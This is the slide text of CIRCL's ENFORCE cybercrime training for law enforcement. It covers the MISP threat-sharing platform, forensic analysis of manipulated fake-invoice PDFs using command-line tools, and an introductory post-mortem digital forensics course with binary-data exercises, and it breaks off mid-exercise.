ENFORCE project - cybercrime training

Improving the design of curriculum with practical information sharing

CIRCL
Computer Incident
Response Center
Luxembourg

MISP
Threat Sharing

Alexandre
Dulaunoy*TLP:WHITE*

FIC 2020

Curriculum developed

- E.100 MISP - Open Source **Threat Intelligence Platform Supporting Digital Forensic** and Incident Response
- E.200 Post Mortem Analysis Techniques of Fake Invoices Manipulated PDF documents
- E.201 **Digital Forensics** - An introduction into Post-mortem Digital Forensics
- E.202 **Network forensic** - Analysing black-hole monitoring dataset - How to better understand DDoS attacks from backscatter traffic, opportunistic network scanning and exploitation
- E.300 **Data mining** using AIL framework
- E.301 **Cryptography Workarounds** For Law Enforcement

Development process

- The development process is to bring together **forensic analysis, information sharing and information exchange**.
- The **law enforcement contribution is critical and helps us to improve open source software** such as MISP and the training materials at large for the LE community.
- **The sessions are interactive** and we work together on solving cases, discovering new findings and techniques on a real environment running on a Cyber Range platform (HNS).

Training setup to support information sharing

ENFORCE - Training / MISP overview

Practical outcomes of the ENFORCE project

- **Direct improvements into open source software** used by law enforcement
- The complete ENFORCE curriculum **will be open sourced** in May 2020
- **Ensuring the sustainability of the project** via contributors in various fields such as law enforcement

- Contact: info@circl.lu
- https://www.circl.lu/
- https://www.misp-project.org/
- https://github.com/MISP - https://twitter.com/MISPProject
- Don't hesitate to get in touch with us to access one of our sharing community or feedback to improve MISP.

MISP - Open Source Threat Intelligence Platform

Supporting Digital Forensic and Incident Response

CIRCL
Computer Incident
Response Center
Luxembourg

MISP
Threat Sharing

Team CIRCL *TLP:WHITE*

16th May 2019

Objectives

- This training is a first step to bring together **forensic analysis, information sharing and information exchange**.
- Your contribution is critical and will help to improve open source software such as MISP and the training materials at large for the LE community.
- **The session is interactive** and we will work together on solving cases, discovering new findings and techniques.

Session

- There are 5 teams (LEA01→LEA04 and EUROLEA).
- A team is composed of one or more analysts.
- Each team has their own MISP instance and each team member has a forensic workstation.
- During the 1 day 1/2 session, there are 3 cases (CASE01→CASE03) to investigate.
- Findings will be shared within a team as a first step and then at later stage between teams.

Agenda

- An introduction to MISP
- CASE 01 - "fake invoicing" Warming-up
- CASE 02 - "We all love ransomware"
- MISP synchronisation and exchange
- CASE 03 - "Something suspicious in the neighbourghood"

MISP Enforce training target setup

ENFORCE - Training / MISP overview

MISP - Open Source Threat Intelligence Platform

- MISP is an open source software (can be self-hosted or cloud-based) **information sharing and exchange platform**
- It enables analysts from different sectors/orgs to create, collaborate on and share information
- The information shared can then be used to find correlations as well as automatically be fed into **protective tools or processes**
- The software is widely used by CERTs, ISACs, Intelligence Community, military organisations, private sector organisations and researchers since 2012
- CIRCL is both the main driving force behind the tool's **development** as well as some of the largest information **sharing communities** worldwide

MISP Project Overview

Open Source Software

- MISP core
- misp-modules
- PyMISP
- misp-dashboard

Intelligence & Knowledge Base

- misp-taxonomies
- misp-galaxy
- misp-noticelist
- misp-warninglists

Open Standards

- MISP exchange core format
- MISP objects template

Intelligence & Sharing Community

- MISP OSINT feeds
- compliance documents such as GDPR, ISO 27010:2015
- threat intelligence best practices & training materials
- ISAC/ISAO best practises

MISP core distributed sharing functionality

- MISP's core functionality is sharing where everyone can be a consumer and/or a contributor/producer.
- Quick benefit without the obligation to contribute.
- Low barrier access to get acquainted to the system.

DFIR and MISP digital evidences

- **Share analysis and report** of digital forensic evidences.
- **Propose changes** to existing analysis or report.
- Extending existing event with additional evidences for local or limited use (sharing can be defined at event level or attribute level).
- **Evaluate correlations**[1] of evidences against external or existing attributes.
- **Report sighting** such as false-positive or true-positive (e.g. a partner/analyst has seen a similar indicator).

[1] MISP has a flexible correlation engine which can correlate on 1-to-1 value but also fuzzy hashing (e.g. ssdeep) or CIDR block matching.

Benefits of using MISP

- LE can leverage the long-standing experience in information sharing and **bridge their use-cases** with MISP's information sharing mechanisms.
- **Accessing existing MISP information sharing communities** by getting actionable information from CSIRTs/CERTs networks or security researchers.
- **Bridging LE communities with other communities**. Sharing groups can be created (and managed) between cross-sectors to support specific use-cases.
- **MISP standard format** is a flexible format which can be extended by the users who use the MISP platform. A MISP object template can be created in 30 minutes and directly share information with your model towards existing communities.

Future of Information Sharing

- MISP is a long-term project (started in 2012) and since **information sharing is becoming more essential** than ever to thwart threats, we have long-term plans for the project as the project is used in various critical information exchange communities.
- We hope to have the means to be the enablers and the interface for real cross-sectorial sharing and support the organisations facing hybrid threats.
- Tools, open standards and interoperable software (e.g. DFIR tools) are driving forces behind resilient information exchange communities.
- Getting ideas and practical **use-cases from LE community** is vital, don't hesitate to interact.

- Contact: info@circl.lu
- https://www.circl.lu/
- https://www.misp-project.org/
- https://github.com/MISP - https://twitter.com/MISPProject
- Don't hesitate to get in touch with us to access one of our sharing community or feedback to improve MISP.

Post Mortem Analysis Techniques of Fake Invoices

Manipulated PDF documents

CIRCL
Computer Incident
Response Center
Luxembourg

Team CIRCL
Gérard Wagener
TLP:WHITE

http://www.circl.lu/
Twitter: *@circl_lu*

16-17 May, 2019

Reported fraud

Detoured invoices

- Supplier sends payment reminders to customers
- Customer answers that he paid,showing a proof of payment
- Supplier says that it is not his bank account details

Reported fraud

Detoured invoices

Open questions

- Was the invoice created from scratch?
  - By the accounting system itself?
  - By a third party tool?
- By a manipulation of an existing invoice
  - By the accounting system itself?
  - By a third party tool?
    - Where was the original invoice created?
    - Where was it intercepted?
    - Under which form was it intercepted? (scan, office documents)

PDF internals

PDF data structure

PDF internals

Why bothering with these details?

because of ...

- Many different PDF format variants
- `www.adobe.com/devnet/pdf/pdf_reference_archive.html`
- Not all tools interpret them correctly
- Tools strip potential valuable information
  - Comments left by the creator software
  - Generation IDs → track original files
  - Manipulation left overs of the "attacker"

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Questions

- What version has the PDF?
- How many objects the PDF has?
- What value has is the startxref offset?
- What is at is location?
- How many objects are in the xref table?

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Getting PDF version with standard unix tools

```
file invoice.pdf

head -c 9 invoice.pdf
```

Using pdfid.py from Didier Stevens

```
pdfid.py invoice.pdf
```

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Counting objects with standard unix tools

```
strings invoice.pdf | grep "endobj" | wc -l
```

Using pdfid.py from Didier Stevens

```
pdfid.py invoice.pdf
```

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Getting the startxref offset with standard unix tools

```
OFFSET=`strings invoice.pdf | grep -A 1 "startxref" |
    tail -n 1`
```

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Determining xref table with standard unix tools

```
OFFSET=`strings invoice.pdf | grep -A 1 "
    startxref" | tail -n 1`
dd if=invoice.pdf bs=1 skip=$OFFSET | less
```

Detoured invoices

Practical invoice.pdf analysis

Data to be analyzed

Filename	invoice.pdf
Number of bytes	27758
MD5 hash	04a18e4a2b3baf08bd5cb33121842b22

Determining the number of items in the xref table with standard unix tools

```
OFFSET=`strings invoice.pdf | grep -A 1 "
    startxref" | tail -n 1`
dd if=invoice.pdf bs=1 skip=$OFFSET | head -n 2 |
    tail -n 1 | cut -d '␣' -f2
```

Detoured invoices

Extracting PDF metadata with pdfinfo

```
pdfinfo invoice.pdf

Title: SSMILE_prin19041715230
Creator: SMILE_printer
Producer: KONICA MINOLTA bizhub C458
CreationDate: Wed Apr 17 16:23:17 2019 CEST
ModDate: Wed Apr 17 16:23:17 2019 CEST
Page size: 595 x 841 pts
File size: 27758 bytes
PDF version: 1.4
...
```

Detoured invoices

Extracting PDF metadata with pdfinfo

Open questions

- Is the creator known?
- Is the producer known?
- Are the timestamps in a valid time frame?
- Does the file size correspond?

Caution

- All elements in a PDF could be manipulated
- The integrity is not guaranteed

PDF dissection

Getting an overview with the tool pdfid.py

```
pdfid.py invoice.pdf

PDFiD 0.2.1 invoice.pdf
 PDF Header: %PDF-1.4
 obj 37
 endobj 37
 stream 16
 endstream 16
 xref 1
 trailer 1
 startxref 1
 /Page 1
 /JavaScript 0
 /OpenAction 1
 /AcroForm 0
```

Checking active components

Items frequently used to load malware

- OpenAction
- JavaScript
- AcroForm

Checking active components

OpenAction

```
python pdf-parser.py -s openaction invoice.pdf
obj 37 0
 Type: /Catalog
 Referencing: 2 0 R, 34 0 R, 1 0 R

  <<
    /Type /Catalog
    /Pages 2 0 R
    /Metadata 34 0 R
    /OpenAction [ 1 0 R /Fit ]
  >>
```

Checking active components

OpenAction

```
/OpenAction [ 1 0 R /Fit ]
```

Object number	1
Generation number	0
Indirect reference	R
Fit	Display instructions

Checking active components

OpenAction

What is at object 1?

```
python pdf-parser.py invoice.pdf -o 1
obj 1 0
 Type: /Page
 Referencing: 2 0 R, 3 0 R, 4 0 R
  <<
    /Type /Page
    /Parent 2 0 R
    /MediaBox [ 0 0 595.000 841.000 ]
    /Resources
      <<
        /ProcSet [ /PDF /Text /ImageB /ImageC /ImageI ]
        ...
```

Detoured invoices

Checking document modifications

- Tools for manipulating PDF documents: LibreOffice, Preview on MacOS, Adobe Acrobat
- Low skills are needed for doing these manipulations

Detoured invoices

Checking document modifications

- Insert text boxes (add new bank account details, delivery addresses, ...)
- Adding overlays in the picture $\rightarrow$ hide some parts
- Add some signature scans
- ...

Detoured invoices

Checking document modifications

CIRCL
Computer Incident
Response Center
Luxembourg

16, boulevard d'Avranches
L-1160 Luxembourg
(+352) 274 00 98 601

Mr. John Doe
123 Maple Street
Anytown, PA 17101

Invoice number: 112987
Date: 17/04/2019

Services : 3000 EUR
Tax:0
Total balance due: 3000 EUR

To be paid to the following account:
GB 29 NWBK 6016 13 3192 6819

Sales manager

Sales Manager

To be paid within 90 days of reception.

TVA 0000000 RCS C00 BCEELULL **LU0019 4006 4475 0000**

Detoured invoices

Checking document modifications

Checking for added text boxes

```
pdf-parser.py -s /fontfile mod1.pdf

    obj 56 0
 Type: /FontDescriptor
 Referencing: 54 0 R
  <<
    /Type /FontDescriptor
    /FontName /CAAAAA+LiberationSerif-Bold
    /Flags 4
    /FontFile2 54 0 R
  >>
```

Detoured invoices

Checking document modifications

- Which font descriptor corresponds to what?
- Dump the font file
- Display the glyphs
- Check the coordinates
- or ...
- Deactivate it and visualize

Detoured invoices

Checking document modifications

```
cat mod1.pdf | sed 's/58␣0␣obj/99␣0␣obj/g' > out
    .pdf
```

To be paid within 90 days of reception.

TVA 0000000 RCS C00

Detoured invoices

Adding signature scans

Detoured invoices

Adding signature scans

CIRCL
Computer Incident
Response Center
Luxembourg

16, boulevard d'Avranches
L-1160 Luxembourg
(+352) 274 00 98 601

Mr. John Doe
123 Maple Street
Anytown, PA 17101

Invoice number: 112987
Date: 17/04/2019

Services : 3000 EUR
Tax:0
Total balance due: 3000 EUR

Sales manager

To be paid within 90 days of reception.

TVA 0000000 RCS C00 BCEELULL **LU0019 4006 4475 0000**

Detoured invoices

Adding signature scans

Search for included images

```
pdf-parser.py -s /image invoice2.pdf

obj 5 0
 Type: /XObject
 Referencing: 7 0 R
 Contains stream

  <<
    /Type /XObject
    /Subtype /Image
    /Width 433
    /Height 180
```

Detoured invoices

Adding signature scans

Extract the image from the pdf document

```
pdf-parser.py -o 5 invoice2.pdf -d signature.png
```

Check the image

```
display signature.png
```

What can be shared?

- File meta information
  - Did other recipients received it?
  - Is it in a backups?
  - Was it in mailboxes?
  - Is it in shadow copies
  - ...
- Timestamps $\rightarrow$ get a time range of operations
- Bank account details
  - Prevent other transfers
  - Correlate cases

CIRCL - Digital Forensics 1.0.1

Introduction: Post-mortem Digital Forensics

CIRCL *TLP:CLEAR*

info@circl.lu

December, 2024

Overview

1. Introduction
2. Information
3. Disk Acquisition
4. Disk Cloning / Disk Imaging
5. Disk Analysis
6. Forensics Challenges
7. Bibliography and Outlook

CIRCL
FORENSICS Training

1. Introduction

1.1 Admin default behaviour

- Get operational asap:
  - Re-install
  - Re-image
  - Restore from backup
    $\rightarrow$ Destroy of evidences

- Analyse the system on his own:
  - Do some investigations
  - Install and run (several) AV
  - Apply updates for OS and Apps
    $\rightarrow$ Create big noise
    $\rightarrow$ Overwrite evidences

$\rightarrow$ Negative impact on forensics

1.2 Preservation of evidences

- Finding answers:
  - → Is there an incident
  - → System involved at all
  - → If yes, how and when
  - → System compromised
  - → Malware/RAT involved
  - → Persistence mechanisms
  - → Root cause of the compromise
  - → Lateral movement inside LAN
  - → Access sensitive data
  - → Data exfiltration
  - → Illegal content

- Legal case:
  - → Collect & safe evidences
  - → Witness testimony for court

1.2 Preservation of evidences

- A cyclic redundancy check (CRC) is not sufficient:
  - Example: Checksum

    $4711 \rightarrow 13$
  - Example: Collision

    $12343 \rightarrow 13$

- Cryptographic hash function:
  - Output always same fixed size
  - Deterministic: if $m = m \rightarrow h(m) = h(m)$
  - 1 Bit change in m $\rightarrow$ max. change in $h(m)$
  - One way function: For $h(m)$ impossible to find m
  - Simple collision resistance: For given $h(m1)$ hard to find $h(m2)$
  - Strong collision resistance: For any $h(m1)$ hard to find $h(m2)$

1.3 Forensics Science

- Classical forensic

  Locard's exchange principle

  https://en.wikipedia.org/wiki/Locard's_exchange_principle

- Write down everything you see, hear, smell and do

- Chain of custody

  → https://csrc.nist.gov/glossary/term/chain_of_custody

  → https://www.nist.gov/document/sample-chain-custody-formdocx

- Scope of the analysis

1.3 Forensics Science

CPU registers → nanoseconds

CPU cache → nanoseconds

RAM memory → tens of nanoseconds

Network state → milliseconds

Processes running → seconds

Disk, system settings, data → minutes

External disks, backup → years

Optical storage, printouts → tens of ears

→ `https://www.circl.lu/pub/tr-22/`

1.4 Forensic disciplines

- Post-mortem Analysis
  - → https://www.circl.lu/pub/tr-22/
  - → https://www.circl.lu/pub/tr-30/
- Memory Forensics
  - → https://www.circl.lu/pub/tr-22/
  - → https://www.circl.lu/pub/tr-30/
- Reverse Engineering
- Code-Deobfuscation
- Network Forensics
- Mobile Forensics
- Cloud Forensics

1.5 First Responder: Be prepared

- Prepare your toolbox
  - Write Blocker
  - Photo camera
  - Flash light, magnifying glasses
  - Labelling device, labels, tags, stickers
  - Toolkit, screwdriver kits
  - Packing boxes, bags, faraday bag
  - Cable kits, storage devices
  - Anti-static band, network cables
  - Pens, markers, notepads
    $\rightarrow$ Chain of custody
  - Mouse jiggler

- Talk with people; Take notes
- Identify potential evidences (Computer, devices, paper, ...)

1.5 First Responder: First steps

- Powered-on versus powered-off
  - Shutdown: Lost of live (memory) data
  - Pull power: Corrupt file system
  - Live analysis: Modify memory and disk
  - Live analysis: Working with compromised binaries?

- USB stick → `https://www.circl.lu/pub/tr-30/`
  - 256 GB USB3
  - File system: exFAT
  - Memory dump: Comae-Toolkit
  - Memory and Live Acquisition: FTK Imager Lite
  - Encrypted Disk Detector - Edd
  - Security Scanner: Nmap command line
  - Sysinternals Suite

1.5 First Responder: Live response

1. Isolate system from (WiFi) network
2. Perform memory dump
3. In case of a live analysis:
   - → System time
   - → Logged-on users
   - → Open files
   - → Network -connections -status
   - → Process information -memory
   - → Process / port mapping
   - → Clipboard content
   - → Services
   - → Command history
   - → Mapped drives / shares
   - → !!! Do not store information on the subject system !!!
4. Shutdown and do disk image (If possible)
5. Logical image of live system (Possible issues)

1.6 Post-mortem Analysis

- Hardware layer & acquisition
  - Best copy (in the safe)
  - Working copy (on a NAS)
  - Working copy attached with Write Blocker
  - Disk volumes and partitions
  - Simple tools: dmesg, dd, mount
- Sector layer
  - Carving: foremost, scalpel, testdisk/photorec
  - String search
- File system layer
  - FAT, NTFS
  - File system timeline
  - Restore deleted files

1.7 Post-mortem Analysis

- OS layer
  - Registry
  - Event logs
  - Volume shadow copies
  - Prefetch files
- Application layer
  - AV logs
  - Browser history: IE, firefox, chrome
  - Email
  - Office files & PDFs
- Searching for malware
  - TEMP folders
  - Startup folders
  - Windows tasks

1.8 Forensic Distributions

- Commercial

  EnCase Forensic
  F-Response
  Forensic Toolkit
  Helix Enterprise
  X-Ways Forensics
  Magnet Axiom

- Open source tools

  Kali Linux
  SANS SIFT

- Consider using your favorite Linux and add tools
- Sometimes a Windows based VM could be helpful

CIRCL
FORENSICS Training

2. Information

2.1 Data in a binary system

- BIT $\rightarrow$ Binary digit
- Data stored in binary form

  `x Bits --> 01010000011010010110111001100111 --> y Bits`

  Bit x + 2 = 1

  Bit x + 3 = 0

  $\rightarrow$ What information is stored within this data?

- *"..... information is data arranged in a meaningful way for some perceived purpose ....."* $\rightarrow$ Interpretative rules

- Grouping, addressing and interpreting

```
-->   01010000   01101001   01101110   01100111   -->
      --------   --------   --------   --------
-->   Byte 117   Byte 118   Byte 119   Byte 120   -->
```

2.1 Data in a binary system

- Grouping examples:
  - Nibble: `0101 0000 0110 1001 0110 1110 0110 0111`
  - Byte: `01010000 01101001 01101110 01100111`
  - Word: `0101000001101001 0110111001100111`
  - Double Word: `01010000011010010110111001100111`

- Interpreting:
  - Integer: (Signed, Unsigned)
  - Endian: (Big, Little)
  - Floating Point
  - Binary Coded Decimal, Packed BCD
  - Encoding: (ASCII, ISO8859, Unicode 16L, 16B, 32L, 32B)
  - Binary: (ELF, MZ, PE, GIF, JPEG, ZIP, PDF, OLE, ...)
  - ...

2.2 Number Systems

- Decimal:

```
2145
||||_   5 * 10^0 =      5
|||__   4 * 10^1 =     40
||___   1 * 10^2 =    100
|____   2 * 10^3 =  2,000
                   ------
                   2,145
```

- Binary:

```
1111
||||_   1 *  2^0 =      1
|||__   1 *  2^1 =      2
||___   1 *  2^2 =      4
|____   1 *  2^3 =      8
                   -------
                        15 = 1111
```

- Hexadecimal:

```
2A9F
||||_  15 * 16^0 =     15
|||__  09 * 16^1 =    144
||___  10 * 16^2 =  2,560
|____  02 * 16^3 =  8,192
                   -------
                   10,911 = 0x2A9F
```

2.3 Interpreting binary data: Integer

```
0 1 0 1 0 0 0 0
---------------
| | | | | | | |_  0 * 2^0 =   0
| | | | | | |___  0 * 2^1 =   0
| | | | | |_____  0 * 2^2 =   0
| | | | |_______  0 * 2^3 =   0
| | | |_________  1 * 2^4 =  16
| | |___________  0 * 2^5 =   0
| |_____________  1 * 2^6 =  64
|_______________  0 * 2^7 =   0
                              ---
                               80
```

2.3 Interpreting binary data: Signed Integer

```
1 0 1 1 1 1 1 1
---------------
| | | | | | | |

0 1 0 0 0 0 0 0
0 1 0 0 0 0 0 1

  |           |

 64           1
 --------------
             -65
```

Two's complement:

1. Invert all single bits
2. Add the value 1

3. Convert to Decimal

2.4 Exercise: Signed Integer Bytes

```
1 1 0 1 1 1 0 0
---------------
| | | | | | | |

    |     |

    ?     ?
---------------
             -??
```

Two's complement:

1. Invert all single bits
2. Add the value 1

3. Convert to Decimal

2.4 Exercise: Signed Integer Bytes

```
1 1 0 1 1 1 0 0
---------------
| | | | | | | |

0 0 1 0 0 0 1 1
0 0 1 0 0 1 0 0

    |     |

   32     4
---------------
             -36
```

Two's complement:

1. Invert all single bits
2. Add the value 1

3. Convert to Decimal

2.4 Exercise: Challenge on 1 byte signed Integer

- Find biggest possible positive number

  $\longrightarrow$

- Find smalest possible positive number

  $\longrightarrow$

- Find biggest possible negative number

  _____

  _____ $\longrightarrow$

- Find smalest possible negative number

  _____

  _____ $\longrightarrow$

2.4 Exercise: Challenge on 1 byte signed Integer

- Find biggest possible positive number

  0111 1111 —> 127

- Find smalest possible positive number

  0000 0000 —> 0

- Find biggest possible negative number

  _____

  _____ —>

- Find smalest possible negative number

  _____

  _____ —>

2.4 Exercise: Challenge on 1 byte signed Integer

- Find biggest possible positive number

  0111 1111 —> 127

- Find smalest possible positive number

  0000 0000 —> 0

- Find biggest possible negative number

  1111 1111

  0000 0000
  0000 0001 —> −1

- Find smalest possible negative number

  1000 0000

  0111 1111
  1000 0000 —> −128

2.5 From Bin to Hex

Example:

```
0001 1000    0101 0101    0000 1111    1010 0110
---------    ---------    ---------    ---------
   1 8          5 5          0 F          A 6
```

Exercise:

```
1001 0110    1010 0101    0000 1111    1100 0011
---------    ---------    ---------    ---------
```

2.5 From Bin to Hex

Exercise:

```
1001 0110    1010 0101    0000 1111    1100 0011
---------    ---------    ---------    ---------
```

Results:

```
1001 0110    1010 0101    0000 1111    1100 0011
---------    ---------    ---------    ---------
   9 6          A 5          0 F          C 3
```

2.6 Big Endian and Little Endian

```
Multibyte words:
        Example: 256 in Big Endian representation:

    2^:   15 14 13 12 11 10  9  8     7  6  5  4  3  2  1  0
          -  -  -  -  -  -  -  -     -  -  -  -  -  -  -  -
  Data:    0  0  0  0  0  0  0  1     0  0  0  0  0  0  0  0
          -  -  -  -  -  -  -  -     -  -  -  -  -  -  -  -
Address:   10.000                     10.001
```

```
Multibyte words:
        Example: 256 in Little Endian representation:

     2^:   7  6  5  4  3  2  1  0    15 14 13 12 11 10  9  8
           -  -  -  -  -  -  -  -    -  -  -  -  -  -  -  -
   Data:   0  0  0  0  0  0  0  0     0  0  0  0  0  0  0  1
           -  -  -  -  -  -  -  -    -  -  -  -  -  -  -  -
Address:   10.000                     10.001
```

2.6 Exercise: Little Endian

Read and interpret this little endian 2 byte 'word'

```
          -------------
0x96A5 | 9 6 | A 5 |
          -------------
```

```
          -------------
0x        |     |     | =
          -------------
```

2.6 Exercise: Little Endian

Read and interpret this little endian 2 byte 'word'

```
         -------------
0x96A5 | 9 6 | A 5 |
         -------------
             \   /
              \ /
               X
              / \
             /   \
         -------------
0xA596 | A 5 | 9 6 | = 42,390
         -------------
```

2.6 Exercise: Little Endian

Read and interpret this little endian 'double word'

```
                ---------------------------
0x1B2A0100 | 1 B | 2 A | 0 1 | 0 0 |
                ---------------------------




                ---------------------------
0x              |     |     |     |     | =
                ---------------------------
```

2.6 Exercise: Little Endian

Read and interpret this little endian 'double word'

```
                ---------------------------
0x1B2A0100 | 1 B | 2 A | 0 1 | 0 0 |
                ---------------------------
                   \___   \   /   ___/
                       \___\ /___/
                        ___ X ___
                    ___/   / \   \___
                   /      /   \      \
                ---------------------------
0x00012A1B | 0 0 | 0 1 | 2 A | 1 B | = 76,315
                ---------------------------
```

2.7 Example: Other interpretation of binary data

BCD / PBCD

```
   2        9        1       /     6  na    0  9
-------- -------- --------   /   -------- --------
00000010 00001001 00000001   /   01101010 00001001
```

ASCII

```
01110000  01101001  01101110  01100111
--------  --------  --------  --------
  0x70      0x65      0x6E      0x67
   112       105       110       103
    p         i         n         g
```

2.8 Data structures: Exercise

```
— Can you read this data?
— Can you extract information out of this data?
— Can you generate knowledge out of this data?
```

```
0100010001000110010001010100000100001000000011100000000001111111
1011101000110010101110011011101000010111001110100011110000011101
0000100010010010000110010101101100011011000110111100100000001010
1110110111101110010011011000110010000100010000011010100010001000
0110010001010100000100000111000000010000000100000000001100100011
0011001101001011100100010111000110110001101000101001001000101010
0110100100101001010101011010010100001001111001011001000101011110
1111000011011000110010101100111011011110011110100001010111111111
111111111111111111111111
```

2.8 Data structures: Organizing data

0								8								16							
44	46	45	41	08	0E	00	FF	74	65	73	74	2E	74	78	74	22	48	65	6C	6C	6F	20	57

24								32								40							
6F	72	6C	64	22	0D	44	46	45	41	07	11	00	00	64	66	69	72	2E	36	34	52	45	5A

48								56								64							
4A	55	69	42	79	64	57	78	6C	65	67	6F	3D	0A	FF	FF	FF	FF						

2.8 Data structures: Definition of the structure

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|

 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Apply structure

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
|             |   |       |   |

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|


 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|   |   |   |   |   |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Read information

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A|  |     |  |

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|


 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Read information

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|     |  |                         |

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|

 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Read information

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |  |

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|


 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
_    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Read information

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|   14 |-1|

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|


 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
-    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Apply informtion

```
 0                           8                           16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |-1|                          |

 24                          32                          40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|
                     |

 48                          56                          64
|4A|55|69|42|79|64|57|78|6C|65|67|6F|3D|0A|FF|FF|FF|FF|  |  |  |  |  |  |
```

```
Offset  Size  Description
     0     4  Header signature (ASCII: DFEA - Digital Forensics EDU Archive)
     4     1  Lenght of file name (Integer)
     5     2  Lenght of data (Little Endian)
     7     1  Type of data (Signed Integer)    (-1 = ASCII; 0 = base64 encoded)
     8    --  Variable file name (ASCII)
    9++   --  Data (Binary)
-    EOF   4  EOF signature (Binary: FF FF FF FF)
```

2.8 Data structures: Interprete bytes

```
 0                          8                          16
|44|46|45|41|08|0E|00|FF|74|65|73|74|2E|74|78|74|22|48|65|6C|6C|6F|20|57|
| D  F  E  A| 8|  14 |-1| t  e  s  t  .  t  x t |

 24                         32                         40
|6F|72|6C|64|22|0D|44|46|45|41|07|11|00|00|64|66|69|72|2E|36|34|52|45|5A|
                     |

